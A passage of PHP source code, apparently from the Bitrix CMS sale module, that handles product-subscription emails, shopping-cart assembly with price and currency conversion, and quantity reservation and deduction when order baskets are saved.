$eventName = "SALE_SUBSCRIBE_PRODUCT";
$event = new CEvent;
foreach ($arUserSendMail as $personType => $mail)
{
$checkMail = strtolower($mail);
if (isset($sendEmailList[$checkMail]))
continue;
$sendName = $userName;
if (isset($arUserSendName[$personType]) && $arUserSendName[$personType] != '')
$sendName = $arUserSendName[$personType];
$arFields = array(
"EMAIL" => $mail,
"USER_NAME" => $sendName,
"NAME" => $arCallback["NAME"],
"PAGE_URL" => CHTTP::URN2URI($arCallback["DETAIL_PAGE_URL"]),
"SALE_EMAIL" => COption::GetOptionString("sale", "order_email", "order@".$_SERVER["SERVER_NAME"]),
);
$event->Send($eventName, $LID, $arFields, "N");
$sendEmailList[$checkMail] = true;
}
}
}// end if bSend
}// end while $arItemsBasket
return true;
}
public static function DoGetUserShoppingCart($siteId, $userId, $shoppingCart, &$arErrors, $arCoupons = array(), $orderId = 0, $enableCustomCurrency = false)
{
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
$siteId = trim($siteId);
if (empty($siteId))
{
$arErrors[] = array("CODE" => "PARAM", "TEXT" => Loc::getMessage('SKGB_PARAM_SITE_ERROR'));
return null;
}
$userId = intval($userId);
if (!is_array($shoppingCart))
{
if (intval($shoppingCart)."|" != $shoppingCart."|")
{
$arErrors[] = array("CODE" => "PARAM", "TEXT" => Loc::getMessage('SKGB_PARAM_SK_ERROR'));
return null;
}
$shoppingCart = intval($shoppingCart);
$dbShoppingCartItems = CSaleBasket::GetList(
array("NAME" => "ASC"),
array(
"FUSER_ID" => $shoppingCart,
"LID" => $siteId,
"ORDER_ID" => "NULL",
"DELAY" => "N",
),
false,
false,
array(
"ID", "LID", "CALLBACK_FUNC", "MODULE", "PRODUCT_ID", "QUANTITY", "DELAY",
"CAN_BUY", "PRICE", "WEIGHT", "NAME", "CURRENCY", "CATALOG_XML_ID",
"VAT_RATE", "NOTES", "DISCOUNT_PRICE", "DETAIL_PAGE_URL", "PRODUCT_PROVIDER_CLASS",
"RESERVED", "DEDUCTED", "RESERVE_QUANTITY", "DIMENSIONS", "TYPE", "SET_PARENT_ID"
)
);
$arTmp = array();
while ($arShoppingCartItem = $dbShoppingCartItems->Fetch())
$arTmp[] = $arShoppingCartItem;
$shoppingCart = $arTmp;
}
$arOldShoppingCart = array();
if ($orderId != 0) // for existing basket we need old data to calculate quantity delta for availability checking
{
$dbs = CSaleBasket::GetList(
array("NAME" => "ASC"),
array(
"LID" => $siteId,
"ORDER_ID" => $orderId,
"DELAY" => "N",
),
false,
false,
array(
"ID", "LID", "CALLBACK_FUNC", "MODULE", "PRODUCT_ID", "PRODUCT_PRICE_ID", "PRICE",
"QUANTITY", "DELAY", "CAN_BUY", "PRICE", "WEIGHT", "NAME", "CURRENCY",
"CATALOG_XML_ID", "VAT_RATE", "NOTES", "DISCOUNT_PRICE", "DETAIL_PAGE_URL", "PRODUCT_PROVIDER_CLASS",
"RESERVED", "DEDUCTED", "BARCODE_MULTI", "DIMENSIONS", "TYPE", "SET_PARENT_ID"
)
);
while ($arOldShoppingCartItem = $dbs->Fetch())
$arOldShoppingCart[$arOldShoppingCartItem["ID"]] = $arOldShoppingCartItem;
}
if (CSaleHelper::IsAssociativeArray($shoppingCart))
$shoppingCart = array($shoppingCart);
if (!empty($arCoupons))
{
if (!is_array($arCoupons))
$arCoupons = array($arCoupons);
foreach(GetModuleEvents("sale", "OnSetCouponList", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($userId, $arCoupons, array()));
foreach ($arCoupons as &$coupon)
$couponResult = DiscountCouponsManager::add($coupon);
unset($coupon, $couponResult);
}
if(!is_bool($enableCustomCurrency))
{
$enableCustomCurrency = false;
}
$arResult = array();
$emptyID = 1;
foreach ($shoppingCart as $itemIndex => $arShoppingCartItem)
{
if ((array_key_exists("CALLBACK_FUNC", $arShoppingCartItem) && !empty($arShoppingCartItem["CALLBACK_FUNC"]))
|| (array_key_exists("PRODUCT_PROVIDER_CLASS", $arShoppingCartItem) && !empty($arShoppingCartItem["PRODUCT_PROVIDER_CLASS"])))
{
// get quantity difference to check its availability
if ($orderId != 0)
$quantity = $arShoppingCartItem["QUANTITY"] - $arOldShoppingCart[$arShoppingCartItem["ID_TMP"]]["QUANTITY"];
else
$quantity = $arShoppingCartItem["QUANTITY"];
$customPrice = (isset($arShoppingCartItem['CUSTOM_PRICE']) && $arShoppingCartItem['CUSTOM_PRICE'] == 'Y');
$existBasketID = (isset($arShoppingCartItem['ID']) && (int)$arShoppingCartItem['ID'] > 0);
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arShoppingCartItem))
{
if ($existBasketID)
{
$basketID = $arShoppingCartItem['ID'];
}
elseif (isset($arShoppingCartItem["ID_TMP"]))
{
$basketID = $arShoppingCartItem["ID_TMP"];
}
else
{
$basketID = 'tmp_'.$emptyID;
$emptyID++;
}
$providerParams = array(
"PRODUCT_ID" => $arShoppingCartItem["PRODUCT_ID"],
"QUANTITY" => ($quantity > 0) ? $quantity : $arShoppingCartItem["QUANTITY"],
"RENEWAL" => "N",
"USER_ID" => $userId,
"SITE_ID" => $siteId,
"BASKET_ID" => $basketID,
"CHECK_QUANTITY" => ($quantity > 0) ? "Y" : "N",
"CHECK_COUPONS" => ('Y' == $arShoppingCartItem['CAN_BUY'] && (!array_key_exists('DELAY', $arShoppingCartItem) || 'Y' != $arShoppingCartItem['DELAY']) ? 'Y' : 'N'),
"CHECK_PRICE" => ($customPrice ? "N" : "Y")
);
if (isset($arShoppingCartItem['NOTES']))
$providerParams['NOTES'] = $arShoppingCartItem['NOTES'];
$arFieldsTmp = $productProvider::GetProductData($providerParams);
unset($providerParams);
}
else
{
$arFieldsTmp = CSaleBasket::ExecuteCallbackFunction(
$arShoppingCartItem["CALLBACK_FUNC"],
$arShoppingCartItem["MODULE"],
$arShoppingCartItem["PRODUCT_ID"],
$quantity,
"N",
$userId,
$siteId
);
if (!empty($arFieldsTmp) && is_array($arFieldsTmp))
{
if ($customPrice)
unset($arFieldsTmp['PRICE'], $arFieldsTmp['CURRENCY']);
}
}
if (!empty($arFieldsTmp) && is_array($arFieldsTmp))
{
$arFieldsTmp["CAN_BUY"] = "Y";
$arFieldsTmp["SUBSCRIBE"] = "N";
$arFieldsTmp['TYPE'] = (int)$arShoppingCartItem['TYPE'];
$arFieldsTmp['SET_PARENT_ID'] = $arShoppingCartItem['SET_PARENT_ID'];
$arFieldsTmp['LID'] = $siteId;
}
else
{
$arFieldsTmp = array("CAN_BUY" => "N");
}
if ($isOrderConverted != 'N')
{
if (!Sale\Compatible\DiscountCompatibility::isInited())
Sale\Compatible\DiscountCompatibility::init();
$basketCode = (Sale\Compatible\DiscountCompatibility::usedByClient() ? $arShoppingCartItem['ID'] : $itemIndex);
Sale\Compatible\DiscountCompatibility::setBasketItemData($basketCode, $arFieldsTmp);
}
if ($existBasketID)
{
$arFieldsTmp["IGNORE_CALLBACK_FUNC"] = "Y";
CSaleBasket::Update($arShoppingCartItem["ID"], $arFieldsTmp);
$dbTmp = CSaleBasket::GetList(
array(),
array("ID" => $arShoppingCartItem["ID"]),
false,
false,
array(
"ID", "CALLBACK_FUNC", "MODULE", "PRODUCT_ID", "QUANTITY", "DELAY", "CAN_BUY", "PRICE", "TYPE", "SET_PARENT_ID",
"WEIGHT", "NAME", "CURRENCY", "CATALOG_XML_ID", "VAT_RATE", "NOTES", "DISCOUNT_PRICE", "DETAIL_PAGE_URL", "PRODUCT_PROVIDER_CLASS", "DIMENSIONS"
)
);
$arTmp = $dbTmp->Fetch();
foreach ($arTmp as $key => $val)
$arShoppingCartItem[$key] = $val;
}
else
{
foreach ($arFieldsTmp as $key => $val)
{
// update returned quantity for the product if quantity difference is available
if ($orderId != 0 && $key == "QUANTITY" && $arOldShoppingCart[$arShoppingCartItem["ID_TMP"]]["RESERVED"] == "Y" && $quantity > 0)
{
$arShoppingCartItem[$key] = $val + $arOldShoppingCart[$arShoppingCartItem["ID_TMP"]]["QUANTITY"];
}
else
{
$arShoppingCartItem[$key] = $val;
}
}
}
}
if ($arShoppingCartItem["CAN_BUY"] == "Y")
{
if(!$enableCustomCurrency)
{
$baseLangCurrency = CSaleLang::GetLangCurrency($siteId);
if ($baseLangCurrency != $arShoppingCartItem["CURRENCY"])
{
$arShoppingCartItem["PRICE"] = CCurrencyRates::ConvertCurrency($arShoppingCartItem["PRICE"], $arShoppingCartItem["CURRENCY"], $baseLangCurrency);
if (is_set($arShoppingCartItem, "DISCOUNT_PRICE"))
$arShoppingCartItem["DISCOUNT_PRICE"] = CCurrencyRates::ConvertCurrency($arShoppingCartItem["DISCOUNT_PRICE"], $arShoppingCartItem["CURRENCY"], $baseLangCurrency);
$arShoppingCartItem["CURRENCY"] = $baseLangCurrency;
}
}
$arShoppingCartItem["PRICE"] = \Bitrix\Sale\PriceMaths::roundPrecision($arShoppingCartItem["PRICE"]);
$arShoppingCartItem["QUANTITY"] = floatval($arShoppingCartItem["QUANTITY"]);
$arShoppingCartItem["WEIGHT"] = floatval($arShoppingCartItem["WEIGHT"]);
$arShoppingCartItem["DIMENSIONS"] = unserialize($arShoppingCartItem["DIMENSIONS"]);
$arShoppingCartItem["VAT_RATE"] = floatval($arShoppingCartItem["VAT_RATE"]);
$arShoppingCartItem["DISCOUNT_PRICE"] = roundEx($arShoppingCartItem["DISCOUNT_PRICE"], SALE_VALUE_PRECISION);
if ($arShoppingCartItem["VAT_RATE"] > 0)
$arShoppingCartItem["VAT_VALUE"] = \Bitrix\Sale\PriceMaths::roundPrecision(($arShoppingCartItem["PRICE"] / ($arShoppingCartItem["VAT_RATE"] + 1)) * $arShoppingCartItem["VAT_RATE"]);
//$arShoppingCartItem["VAT_VALUE"] = roundEx((($arShoppingCartItem["PRICE"] / ($arShoppingCartItem["VAT_RATE"] + 1)) * $arShoppingCartItem["VAT_RATE"]), SALE_VALUE_PRECISION);
if ($arShoppingCartItem["DISCOUNT_PRICE"] > 0)
$arShoppingCartItem["DISCOUNT_PRICE_PERCENT"] = $arShoppingCartItem["DISCOUNT_PRICE"] * 100 / ($arShoppingCartItem["DISCOUNT_PRICE"] + $arShoppingCartItem["PRICE"]);
$arResult[$itemIndex] = $arShoppingCartItem;
}
}
if (isset($arShoppingCartItem))
unset($arShoppingCartItem);
if (!empty($arCoupons) && is_array($arCoupons))
{
foreach(GetModuleEvents("sale", "OnClearCouponList", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($userId, $arCoupons, array()));
}
return $arResult;
}
/**
* Changes product quantity in the catalog.
* Used in the DoSaveOrderBasket to actualize basket items quantity
* after some operations with the order are made in the order_new form
*
* Depending on the state of the order (reserved/deducted)
* and the state of the product (reserved/deducted) calls appropriate provider methods
*
* If the quantity is 0 and CHECK_QUANTITY is N, this method is used only to call OrderProduct method to actualize coupon data
*
* @param array $arBasketItem - basket item data array
* @param int $deltaQuantity - quantity to be changed. Can be zero, in this case CHECK_QUANTITY should be N
* @param bool $isOrderReserved - order reservation flag
* @param bool $isOrderDeducted - order deduction flag
* @param array $arStoreBarcodeOrderFormData - array of barcode and stores from order_new form to be used for deduction
* @param array $arAdditionalParams - user id, site id, check_quantity flag
* @return bool
*/
public static function DoChangeProductQuantity($arBasketItem, $deltaQuantity, $isOrderReserved = false, $isOrderDeducted = false, $arStoreBarcodeOrderFormData = array(), $arAdditionalParams = array())
{
global $APPLICATION;
if (!array_key_exists("CHECK_QUANTITY", $arAdditionalParams) || $arAdditionalParams["CHECK_QUANTITY"] != "N")
$arAdditionalParams["CHECK_QUANTITY"] = "Y";
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"DoChangeProductQuantity - Started",
array(
"arBasketItem" => $arBasketItem,
"deltaQuantity" => $deltaQuantity,
"isOrderReserved" => intval($isOrderReserved),
"isOrderDeducted" => intval($isOrderDeducted),
"arStoreBarcodeOrderFormData" => $arStoreBarcodeOrderFormData,
"checkQuantity" => $arAdditionalParams["CHECK_QUANTITY"]
),
"DCPQ1"
);
}
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasketItem))
{
$productProvider::OrderProduct(
array(
"PRODUCT_ID" => $arBasketItem["PRODUCT_ID"],
"QUANTITY" => ($deltaQuantity <= 0 ? $arBasketItem['QUANTITY'] : $deltaQuantity),
"RENEWAL" => "N",
"USER_ID" => $arAdditionalParams["USER_ID"],
"SITE_ID" => $arAdditionalParams["SITE_ID"],
"CHECK_QUANTITY" => $arAdditionalParams["CHECK_QUANTITY"],
"BASKET_ID" => $arBasketItem['ID']
)
);
if ($deltaQuantity == 0 && $arAdditionalParams["CHECK_QUANTITY"] == 'N')
return true;
if ($isOrderDeducted) // we need to reserve and deduct product
{
$quantityPreviouslyLeftToReserve = ($arBasketItem["RESERVED"] == "Y") ? floatval($arBasketItem["RESERVE_QUANTITY"]) : 0;
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveBasketProduct",
array(
"arBasketItemID" => $arBasketItem["ID"],
"deltaQuantity" => $deltaQuantity,
"quantityPreviouslyLeftToReserve" => $quantityPreviouslyLeftToReserve,
"isOrderDeducted" => $isOrderDeducted
),
"DCPQ2"
);
}
$arRes = CSaleBasket::ReserveBasketProduct($arBasketItem["ID"], $deltaQuantity + $quantityPreviouslyLeftToReserve, $isOrderDeducted);
if (array_key_exists("ERROR", $arRes))
{
CSaleOrder::SetMark($arAdditionalParams["ORDER_ID"], Loc::getMessage("SKGB_RESERVE_ERROR", array("#MESSAGE#" => $arRes["ERROR"]["MESSAGE"])));
return false;
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::DeductBasketProduct",
array(
"arBasketItemID" => $arBasketItem["ID"],
"deltaQuantity" => $deltaQuantity,
"arStoreBarcodeOrderFormData" => $arStoreBarcodeOrderFormData
),
"DCPQ3"
);
}
$arDeductResult = CSaleBasket::DeductBasketProduct($arBasketItem["ID"], $deltaQuantity, $arStoreBarcodeOrderFormData);
if (array_key_exists("ERROR", $arDeductResult))
{
CSaleOrder::SetMark($arAdditionalParams["ORDER_ID"], Loc::getMessage("SKGB_DEDUCT_ERROR", array("#MESSAGE#" => $arDeductResult["ERROR"]["MESSAGE"])));
$APPLICATION->ThrowException(Loc::getMessage("SKGB_DEDUCT_ERROR", array("#MESSAGE#" => $arDeductResult["ERROR"]["MESSAGE"])), "DEDUCTION_ERROR");
return false;
}
}
else if ($isOrderReserved && !$isOrderDeducted) // we need to reserve product
{
if ($arBasketItem["RESERVED"] == "Y")
{
$quantityPreviouslyLeftToReserve = floatval($arBasketItem["RESERVE_QUANTITY"]);
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveBasketProduct",
array(
"arBasketItemID" => $arBasketItem["ID"],
"deltaQuantity" => $deltaQuantity,
"quantityPreviouslyLeftToReserve" => $quantityPreviouslyLeftToReserve
),
"DCPQ4"
);
}
$arRes = CSaleBasket::ReserveBasketProduct($arBasketItem["ID"], $deltaQuantity + $quantityPreviouslyLeftToReserve);
if (array_key_exists("ERROR", $arRes))
{
CSaleOrder::SetMark($arAdditionalParams["ORDER_ID"], Loc::getMessage("SKGB_RESERVE_ERROR", array("#MESSAGE#" => $arRes["ERROR"]["MESSAGE"])));
return false;
}
}
else
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveBasketProduct",
array(
"arBasketItemID" => $arBasketItem["ID"],
"deltaQuantity" => $deltaQuantity
),
"DCPQ5"
);
}
$arRes = CSaleBasket::ReserveBasketProduct($arBasketItem["ID"], $deltaQuantity);
if (array_key_exists("ERROR", $arRes))
{
CSaleOrder::SetMark($arAdditionalParams["ORDER_ID"], Loc::getMessage("SKGB_RESERVE_ERROR", array("#MESSAGE#" => $arRes["ERROR"]["MESSAGE"])));
return false;
}
}
}
else // order not reserved, not deducted
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveBasketProduct",
array(
"arBasketItemID" => $arBasketItem["ID"],
"deltaQuantity" => $deltaQuantity
),
"DCPQ6"
);
}
if ($arBasketItem["RESERVED"] == "Y") // we undo product reservation
{
$quantityPreviouslyLeftToReserve = floatval($arBasketItem["RESERVE_QUANTITY"]);
$arRes = CSaleBasket::ReserveBasketProduct($arBasketItem["ID"], $deltaQuantity + $quantityPreviouslyLeftToReserve);
if (array_key_exists("ERROR", $arRes))
{
CSaleOrder::SetMark($arAdditionalParams["ORDER_ID"], Loc::getMessage("SKGB_RESERVE_ERROR", array("#MESSAGE#" => $arRes["ERROR"]["MESSAGE"])));
return false;
}
}
}
}
else // provider is not used. old logic without reservation
{
if ($deltaQuantity < 0)
{
CSaleBasket::ExecuteCallbackFunction(
$arBasketItem["CANCEL_CALLBACK_FUNC"],
$arBasketItem["MODULE"],
$arBasketItem["PRODUCT_ID"],
abs($deltaQuantity),
true
);
}
else if ($deltaQuantity > 0)
{
CSaleBasket::ExecuteCallbackFunction(
$arBasketItem["ORDER_CALLBACK_FUNC"],
$arBasketItem["MODULE"],
$arBasketItem["PRODUCT_ID"],
$deltaQuantity,
"N",
$arAdditionalParams["USER_ID"],
$arAdditionalParams["SITE_ID"]
);
}
else if ($deltaQuantity == 0)
{
CSaleBasket::ExecuteCallbackFunction(
$arBasketItem["ORDER_CALLBACK_FUNC"],
$arBasketItem["MODULE"],
$arBasketItem["PRODUCT_ID"],
$arBasketItem['QUANTITY'],
"N",
$arAdditionalParams["USER_ID"],
$arAdditionalParams["SITE_ID"]
);
}
}
return true;
}
/**
* Updates information about basket products after changes have been made in the order_new form
* (saves newly added basket items, changes their quantity, saves barcodes etc)
*
* @param int $orderId - order ID
* @param string $siteId - site ID
* @param bool $userId - user ID
* @param array $arShoppingCart - array of basket items
* @param array $arErrors
* @param array $arCoupons
* @param array $arStoreBarcodeOrderFormData - array of stores and barcodes for deduction (from order_new form)
* @param bool $bSaveBarcodes - flat to save given barcode data. Used if the order is already deducted or at least has saved other barcodes
* @return bool
*/
public static function DoSaveOrderBasket($orderId, $siteId, $userId, &$arShoppingCart, &$arErrors, $arCoupons = array(), $arStoreBarcodeOrderFormData = array(), $bSaveBarcodes = false)
{
global $DB, $USER, $APPLICATION;
$currentUserID = 0;
if (isset($USER) && $USER instanceof CUser)
$currentUserID = (int)$USER->GetID();
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog("DoSaveOrderBasket - Started",
array(
"orderId" => $orderId,
"siteId" => $siteId,
"userId" => $userId,
"arShoppingCart" => $arShoppingCart,
"bSaveBarcodes" => $bSaveBarcodes,
"arStoreBarcodeOrderFormData" => $arStoreBarcodeOrderFormData
),
"DSOB1"
);
}
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
$orderId = (int)$orderId;
if ($orderId <= 0)
return false;
if (empty($arShoppingCart) || !is_array($arShoppingCart))
{
$arErrors[] = array("CODE" => "PARAM", "TEXT" => Loc::getMessage('SKGB_SHOPPING_CART_EMPTY'));
return false;
}
$isOrderReserved = false;
$isOrderDeducted = false;
$dbOrderTmp = CSaleOrder::GetList(
array(),
array("ID" => $orderId),
false,
false,
array("ID", "RESERVED", "DEDUCTED")
);
if ($arOrder = $dbOrderTmp->Fetch())
{
if ($arOrder["RESERVED"] == "Y")
$isOrderReserved = true;
if ($arOrder["DEDUCTED"] == "Y")
$isOrderDeducted = true;
}
$arOldItems = array();
$dbItems = CSaleBasket::GetList(
array(),
array("ORDER_ID" => $orderId),
false,
false,
array(
"ID",
"QUANTITY",
"CANCEL_CALLBACK_FUNC",
"MODULE",
"PRODUCT_ID",
"PRODUCT_PROVIDER_CLASS",
"RESERVED",
"RESERVE_QUANTITY",
"TYPE",
"SET_PARENT_ID"
)
);
while ($arItem = $dbItems->Fetch())
{
$arOldItems[$arItem["ID"]] = array(
"QUANTITY" => $arItem["QUANTITY"],
"CANCEL_CALLBACK_FUNC" => $arItem["CANCEL_CALLBACK_FUNC"],
"PRODUCT_PROVIDER_CLASS" => $arItem["PRODUCT_PROVIDER_CLASS"],
"MODULE" => $arItem["MODULE"],
"PRODUCT_ID" => $arItem["PRODUCT_ID"],
"RESERVED" => $arItem["RESERVED"],
"RESERVE_QUANTITY" => $arItem["RESERVE_QUANTITY"],
"TYPE" => $arItem["TYPE"],
"SET_PARENT_ID" => $arItem["SET_PARENT_ID"]
);
}
if (!empty($arCoupons))
{
if (!is_array($arCoupons))
$arCoupons = array($arCoupons);
foreach (GetModuleEvents("sale", "OnSetCouponList", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($userId, $arCoupons, array()));
foreach ($arCoupons as &$coupon)
$couponResult = DiscountCouponsManager::add($coupon);
unset($coupon, $couponResult);
}
$arFUserListTmp = CSaleUser::GetList(array("USER_ID" => $userId));
if (empty($arFUserListTmp))
{
$arFields = array(
"=DATE_INSERT" => $DB->GetNowFunction(),
"=DATE_UPDATE" => $DB->GetNowFunction(),
"USER_ID" => $userId,
"CODE" => md5(time().randString(10)),
);
$FUSER_ID = CSaleUser::_Add($arFields);
}
else
{
$FUSER_ID = $arFUserListTmp["ID"];
}
$arTmpSetParentId = array();
//TODO: is orders converted?
if ($isOrderConverted == 'N')
{
// re-sort basket data so newly added Set parents come before Set items (used to correctly add Set items to the table)
usort($arShoppingCart, array("CSaleBasketHelper", "cmpSetData"));
foreach ($arShoppingCart as &$arItem)
{
$arItemKeys = array_keys($arItem);
foreach ($arItemKeys as $fieldName)
{
if(array_key_exists("~".$fieldName, $arItem))
{
if ((is_array($arItem["~".$fieldName]) && !empty($arItem["~".$fieldName]))
|| (!is_array($arItem["~".$fieldName]) && strlen($arItem["~".$fieldName]) > 0))
{
$arItem[$fieldName] = $arItem["~".$fieldName];
}
unset($arItem["~".$fieldName]);
}
}
$arItem = array_filter($arItem, array("CSaleBasketHelper", "filterFields"));
}
unset($arItem);
foreach ($arShoppingCart as $arItem)
{
if (strpos($arItem["SET_PARENT_ID"], "tmp") !== false)
$arTmpSetParentId[$arItem["SET_PARENT_ID"]] = $arItem["SET_PARENT_ID"];
}
}
$orderBasketPool = array();
// iterate over basket data to save it to basket or change quantity (and reserve/deduct accordingly)
foreach ($arShoppingCart as &$arItem)
{
foreach ($arItem as $tmpKey => $tmpVal)
{
if (is_array($tmpVal) && !in_array($tmpKey, array("STORES", "CATALOG", "PROPS")))
$arItem[$tmpKey] = serialize($tmpVal);
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DoSaveOrderBasket - Item", array("arItem" => $arItem), "DSOB2");
if (array_key_exists("ID", $arItem) && (int)$arItem["ID"] > 0)
{
$arItem["ID"] = (int)$arItem["ID"];
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DoSaveOrderBasket - Product #".$arItem["ID"]." already in the basket", array(), "DSOB3");
// product already in the basket, change quantity
if (array_key_exists($arItem["ID"], $arOldItems))
{
//TODO: is order converted?
if ($isOrderConverted == 'N')
{
if (!CSaleBasketHelper::isSetParent($arItem))
{
$arAdditionalParams = array(
"ORDER_ID" => $orderId,
"USER_ID" => $userId,
"SITE_ID" => $siteId
);
$quantity = $arItem["QUANTITY"] - $arOldItems[$arItem["ID"]]["QUANTITY"];
$arAdditionalParams["CHECK_QUANTITY"] = ($quantity > 0) ? "Y" : "N";
if ($quantity != 0)
{
self::DoChangeProductQuantity(
$arItem,
$quantity,
$isOrderReserved,
$isOrderDeducted,
$arStoreBarcodeOrderFormData[$arItem["ID"]],
$arAdditionalParams
);
}
else
{
$arAdditionalParams['CHECK_QUANTITY'] = 'N';
self::DoChangeProductQuantity(
$arItem,
$quantity,
$isOrderReserved,
$isOrderDeducted,
$arStoreBarcodeOrderFormData[$arItem["ID"]],
$arAdditionalParams
);
}
}
}
unset($arOldItems[$arItem["ID"]]);
}
else
{
//TODO: is order converted?
if ($isOrderConverted == 'N')
{
if ($arItem["QUANTITY"] != 0 && !CSaleBasketHelper::isSetParent($arItem))
{
self::DoChangeProductQuantity(
$arItem,
$arItem["QUANTITY"],
$isOrderReserved,
$isOrderDeducted,
$arStoreBarcodeOrderFormData[$arItem["ID"]],
array("ORDER_ID" => $orderId, "USER_ID" => $userId, "SITE_ID" => $siteId)
);
}
}
}
if(IntVal($arItem["FUSER_ID"]) <= 0)
{
$arFuserItems = CSaleUser::GetList(array("USER_ID" => intval($userId)));
$arItem["FUSER_ID"] = $arFuserItems["ID"];
}
if (CSaleBasketHelper::isSetItem($arItem)) // quantity for set items will be changed when parent item is updated
unset($arItem["QUANTITY"]);
//TODO: is order converted?
if ($isOrderConverted != 'N')
{
$fields = array("IGNORE_CALLBACK_FUNC" => "Y") + $arItem;
$orderBasketPool[$arItem["ID"]] = array("ORDER_ID" => $orderId);
/** @var \Bitrix\Sale\Result $r */
$r = \Bitrix\Sale\Compatible\BasketCompatibility::update($arItem["ID"], $fields);
if (!$r->isSuccess(true))
{
foreach($r->getErrorMessages() as $error)
{
$APPLICATION->ThrowException($error);
}
return false;
}
}
else
{
CSaleBasket::Update($arItem["ID"], array("ORDER_ID" => $orderId, "IGNORE_CALLBACK_FUNC" => "Y") + $arItem);
}
}
else // new product in the basket
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DoSaveOrderBasket - new product in the basket", array(), "DSOB4");
unset($arItem["ID"]);
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arItem)) //if we need to use new logic
{
$oldSetParentId = -1;
if (CSaleBasketHelper::isSetParent($arItem) && array_key_exists($arItem["SET_PARENT_ID"], $arTmpSetParentId))
{
$oldSetParentId = $arItem["SET_PARENT_ID"];
$arItem["MANUAL_SET_ITEMS_INSERTION"] = "Y";
}
if (CSaleBasketHelper::isSetItem($arItem) && array_key_exists($arItem["SET_PARENT_ID"], $arTmpSetParentId))
{
$arItem["SET_PARENT_ID"] = $arTmpSetParentId[$arItem["SET_PARENT_ID"]];
}
$arItem["ID"] = CSaleBasket::Add(array("ORDER_ID" => $orderId, "IGNORE_CALLBACK_FUNC" => "Y") + $arItem);
if($APPLICATION->GetException())
{
return false;
}
if (isset($arItem["MANUAL_SET_ITEMS_INSERTION"]))
$arTmpSetParentId[$oldSetParentId] = $arItem["ID"];
if ($bSaveBarcodes)
{
if ($arItem["BARCODE_MULTI"] == "N") //saving only store quantity info
{
if (is_array($arItem["STORES"]))
{
foreach ($arItem["STORES"] as $arStore)
{
$arStoreBarcodeFields = array(
"BASKET_ID" => $arItem["ID"],
"BARCODE" => "",
"STORE_ID" => $arStore["STORE_ID"],
"QUANTITY" => $arStore["QUANTITY"],
"CREATED_BY" => ($currentUserID > 0 ? $currentUserID : ''),
"MODIFIED_BY" => ($currentUserID > 0 ? $currentUserID : '')
);
CSaleStoreBarcode::Add($arStoreBarcodeFields);
}
}
}
else // BARCODE_MULTI = Y
{
if (!empty($arItem["STORES"]) && is_array($arItem["STORES"]))
{
foreach ($arItem["STORES"] as $arStore)
{
if (isset($arStore["BARCODE"]) && isset($arStore["BARCODE_FOUND"]))
{
foreach ($arStore["BARCODE"] as $barcodeId => $barcodeValue)
{
// save only non-empty and valid barcodes TODO - if errors?
if (strlen($barcodeValue) > 0 && $arStore["BARCODE_FOUND"][$barcodeId] == "Y")
{
$arStoreBarcodeFields = array(
"BASKET_ID" => $arItem["ID"],
"BARCODE" => $barcodeValue,
"STORE_ID" => $arStore["STORE_ID"],
"QUANTITY" => 1,
"CREATED_BY" => ($currentUserID > 0 ? $currentUserID : ''),
"MODIFIED_BY" => ($currentUserID > 0 ? $currentUserID : '')
);
CSaleStoreBarcode::Add($arStoreBarcodeFields);
}
}
}
}
}
}
}
if ($arItem["QUANTITY"] != 0 && !CSaleBasketHelper::isSetParent($arItem))
{
self::DoChangeProductQuantity(
$arItem,
$arItem["QUANTITY"],
$isOrderReserved,
$isOrderDeducted,
$arItem["STORES"],
array("ORDER_ID" => $orderId, "USER_ID" => $userId, "SITE_ID" => $siteId)
);
}
if ($FUSER_ID > 0)
$arItem["FUSER_ID"] = $FUSER_ID;
}
else
{
if ($arItem["QUANTITY"] != 0 && !CSaleBasketHelper::isSetParent($arItem))
{
self::DoChangeProductQuantity(
$arItem,
$arItem["QUANTITY"],
$isOrderReserved,
$isOrderDeducted,
$arItem["STORES"],
array("ORDER_ID" => $orderId, "USER_ID" => $userId, "SITE_ID" => $siteId)
);
}
if ($FUSER_ID > 0)
$arItem["FUSER_ID"] = $FUSER_ID;
$arItem["ID"] = CSaleBasket::Add(array("ORDER_ID" => $orderId, "IGNORE_CALLBACK_FUNC" => "Y") + $arItem);
//$arItem["ID"] = CSaleBasket::Add(array("CALLBACK_FUNC" => false, "ORDER_ID" => $orderId, "IGNORE_CALLBACK_FUNC" => "Y") + $arItem);
}
}
}
unset($arItem);
if ($isOrderConverted != 'N' && !empty($orderBasketPool))
{
/** @var Sale\Result $r */
$r = Sale\Compatible\BasketCompatibility::setBasketFields($orderBasketPool);
if (!$r->isSuccess(true))
{
foreach($r->getErrorMessages() as $error)
{
$APPLICATION->ThrowException($error);
}
return false;
}
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Items left in the old basket:", array("arOldItems" => $arOldItems), "DSOB5");
// if some items left in the table which are not present in the updated basket, delete them
$arSetParentsIDs = array();
foreach ($arOldItems as $key => $arOldItem)
{
$arOldItem["ID"] = $key;
if (CSaleBasketHelper::isSetParent($arOldItem))
{
